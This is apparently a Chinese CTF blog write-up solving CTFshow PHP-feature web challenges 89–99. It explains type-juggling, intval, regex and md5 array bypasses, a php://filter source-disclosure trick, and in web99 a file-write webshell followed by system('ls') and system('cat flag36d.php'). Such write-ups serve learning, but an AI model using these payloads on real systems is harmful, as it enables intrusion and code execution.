CTFSHOW:PHP(1)
本文最后更新于33 天前,其中的信息可能已经过时,如有错误请发送邮件到2206143407@qq.com

CTFSHOW

php特性

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

第一层要求不能有数字,但是第二层intval会进行取整,我们使用常用方法传入数组?num[]

警告:preg_match() 函数的第二个参数应为字符串,但传入的是数组。错误位于/var/www/html/index.php第20行 。ctfshow{6762c8ab-ab84-4a50-bd38-bc168bbc1419}

flag:ctfshow{6762c8ab-ab84-4a50-bd38-bc168bbc1419}

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

强比较,那么我们绕过4476,可以使用4476.0,绕开了类型,在下面取整的时候可以直接变成4476

?num=4476.0

flag:ctfshow{75186b9d-c093-4944-97e2-858bc3af6fdc}

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

1. 第一层检查 (外层): /^php$/im

  • i: 不区分大小写。
  • m: 多行模式 (Multiline)
  • 在多行模式下,^$ 匹配的是每一行的开头和结尾,而不仅仅是整个字符串的开头和结尾。
  • 因此,只要字符串中有一行内容仅为 “php”,这个条件就为真。

2. 第二层检查 (内层): /^php$/i

  • i: 不区分大小写。
  • 缺少 m: 这里是单行模式(默认)。
  • ^$ 匹配的是整个字符串的开头和结尾。
  • 只有当整个字符串严格等于 “php”(忽略大小写)时,这个条件才为真。

所以构造「?cmd=php%0a」这个不行需要这个才行【?cmd=%0aphp

ctfshow{ba358648-90bf-4eef-a06a-3174350a8d54}

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

我们要使用get传参传入?num=xxx

第一个条件:让num的值在松散比较下不为4476

第二个条件:让intval($num,0)的值为4476

这里只要求了值没有要求类型

补充说明:intval 函数intval($var, $base)用于将变量转换为整数。当 $base为 0 时,函数会根据字符串格式自动判断进制:

  • 0x0X开头,按十六进制处理。
  • 开头,按八进制处理。
  • 其他情况按十进制处理。

由于我们传入的是字符串,这里再补充一下:

  • 字符串到数字的转换:在松散比较中,字符串转换为数字时,会从字符串起始位置解析,直到遇到非数字字符(注意:科学计数法如 "4476e0"会被解析为 4476.0,仍等于 4476)。

所以,科学计数法不可以采用,那么我们可以查询一下

1768919930625.png

我想八进制和十六进制自然就是可以的了

所以应该传入:010574(八进制)或者 0x117c(十六进制)

得到flag:ctfshow{7bdb8da3-ef2a-4bc9-9d6e-ef5c6e9f5d00}

补充一个题目给的hint:

intval()函数如果base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这和上一道比就多了一个正则匹配,那么传入八进制和十六进制是一样行的通的当然hint就不可以用了

flag:ctfshow{20e68daa-f51d-40e6-9183-d60e3890e54d}

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了一个strpos函数,我们去浏览器查询到PHP: strpos – Manual

1768920897296.png

还有比较类型也发生了变化,首先绕过第一个$num==="4476"我想到了4476.0,通过改变类型来跳过,下一步正则没有涉及跳过了,再下一步strpos过滤了开头为0的数那么意味着进制转换被ban了,所以改变数据类型的措施依旧有效,最后一关,intval($num,0)返回整数,所以达成条件

传入?num=4476.0即可

flag:ctfshow{10872fcd-bdf2-49b5-b352-4ba358a80901}

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这个和上一道对比就是恰好把浮点数类型ban了,但是又在第一条过滤那里给了机会,所以我们要关注这一点(禁止参数中包含任何字母(不区分大小写)或点号(.)。这意味着不能使用十六进制(如 0x117c)、科学计数法(如 4476e0)或小数形式。)

试试八进制,先把4476换成八进制数010574,可以绕过第一层检查了,不含字母,绕过第二层了,但是第三层不可以了,但是我们要保持数值不变才能通过第四层,所以我们只要解决第三层即可获取flag。

可以添加一个+在数字前面,从而绕过检查

构造?num=+010574

flag:ctfshow{10846545-cb8a-4565-9735-d4e558517b06}

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

全新的!

ai很给力

解题思路

由于直接传递 u=flag.php会被拦截,我们需要构造一个不等于 'flag.php'但能指向 flag.php的文件路径或 URI。常见的绕过方法有以下几种:

  1. 相对路径:使用 ./flag.php../flag.php等相对路径形式,字符串不相等但指向同一文件。
  2. 绝对路径:如果知道服务器上的绝对路径(如 /var/www/html/flag.php),可以直接使用。
  3. PHP 过滤器包装器:使用 php://filter读取文件的 base64 编码内容,再解码得到源代码。
  4. URL 编码:对部分字符进行编码,如 flag.php编码为 %66%6c%61%67%2e%70%68%70,但 highlight_file()可能会自动解码,且字符串比较时是否解码取决于 PHP 版本。通常,%66%6c%61%67%2e%70%68%70flag.php不相等,但 highlight_file()能正确识别。
  5. 追加无关参数:如 flag.php?flag.php#,但 highlight_file()可能将问号或井号视为文件名的一部分,导致文件不存在。需测试。

在这些方法中,最可靠且通用的方法是使用 PHP 过滤器。

尝试相对路径:访问 http://example.com/challenge.php?u=./flag.php。如果 flag.php在当前目录,则会高亮显示其内容,可能直接看到 flag。

 

如果失败,尝试其他相对路径:如 ../flag.php../../flag.php,取决于目录结构。

 

使用 PHP 过滤器:访问 http://example.com/challenge.php?u=php://filter/read=convert.base64-encode/resource=flag.php。这将显示 flag.php的 base64 编码内容。解码后得到源代码,其中包含 flag。

 

解码 base64:如果使用过滤器,将得到一串 base64 字符串,例如 PD9waHAKJGZsYWcgPSAiZmxhZ3t0ZXN0fSI7Cj8+。使用在线工具或命令行解码:

echo "PD9waHAKJGZsYWcgPSAiZmxhZ3t0ZXN0fSI7Cj8+" | base64 -d

输出为:

<?php
$flag = "flag{test}";
?>

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

$_POST['a'] != $_POST['b']:变量 ab 的值必须不相等

md5($_POST['a']) === md5($_POST['b']):变量 ab 的 MD5 哈希值必须严格相等(值和类型都相同)。

数组绕过:在php8.0之前的版本,md5()无法处理数组,所以绕过这个强比较,我们可以传入数组使得出现null=null

所以传入post

a[]=1&b[]=2

flag:ctfshow{23746b77-45e3-436d-992e-666a5f7d161c}

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

这里涉及到php函数的传值与传址(引用)详解-php手册-PHP中文网

考点是PHP里面的三元运算符传址(引用)(感觉有点像指针)

三元运算符 (? :) 条件 ? 结果A : 结果B 意思是:如果条件成立,就执行结果A;否则执行结果B

  • 代码里的 flag是什么?在这段代码里,结果B 都是字符串 'flag'。这只是个占位符,没有任何实际作用,代码执行到这里什么也不会发生,只是为了符合语法。

引用赋值 (=&) $A = &$B 意思是:让 $A 变成 $B影子(或者叫别名)。

  • 从此以后,$A 指向的数据就是 $B 的数据。
  • 重点: 如果 $A 变成了 $_POST 的引用,那你读 $A['xx'] 其实就是在读 $_POST['xx']

 

第一关: $_GET ? $_GET=&$_POST : ...

  • 只要 URL 有参数,$_GET 就变成了 $_POST 的引用。
  • 此时: $_GET 就是 $_POST

第二关: $_GET['flag']=='flag' ? $_GET=&$_COOKIE : ...

  • 代码在问:POST 数据里有 flag=flag 吗?
  • 优化点: 如果我们发送 flag=flag,这个条件就是 False
  • 结果: $_GET 不会变成 $_COOKIE,它依然指向 $_POST

第三关: $_GET['flag']=='flag' ? $_GET=&$_SERVER : ...

  • 同理,条件依然不满足。
  • 结果: $_GET 依然稳稳地指向 $_POST

最终检查: highlight_file($_GET['HTTP_FLAG']=='flag' ? ...)

  • 因为此时 $_GET 仍然是指向 $_POST 的。
  • 所以代码实际上是在检查:$_POST['HTTP_FLAG'] 是否等于 'flag'

那么get我们可以传入任意参数,post传入HTTP_FLAG=flag

flag:ctfshow{7345ee97-699e-4c40-84a4-f4e6766d254d}

这里还有其他人的解法

1769162405982.png

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

for 循环:

  • 循环从 i=36 到 i < 0x36d (即 877)。
  • 每次循环将 rand(1, $i) 生成的一个随机整数加入 $allow 数组。
  • 由于循环次数较多(800多次),且随机数范围包含小整数,数组 $allow 中极大概率会包含整数 123 等小数值

if 判断:

  • isset($_GET['n']): 检查是否有 GET 参数 n
  • in_array($_GET['n'], $allow): 检查传入的 n 是否在 $allow 数组中。

file_put_contents(...):

  • 如果检查通过,将 $_POST['content'] 的内容写入到文件名为 $_GET['n'] 的文件中。

在 PHP 中,字符串和数字进行比较时会发生类型转换

  • 整数1
  • 字符串"1.php"

当执行 in_array("1.php", $allow) 时,如果 $allow 数组中包含整数 1,PHP 会尝试将 "1.php" 转换为整数进行比较。

  • "1.php" 转换为整数会被解析为 1
  • 因此,1 == "1.php" 的结果为 True

所以我们传入get:?n=1.php

1769171352975.png

写入的过程有点慢,多试几次就好了,写入后发送 POST 数据 1=system('ls');

发现有 flag36d.php 通过1=system(‘cat flag36d.php’); 找到flag

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇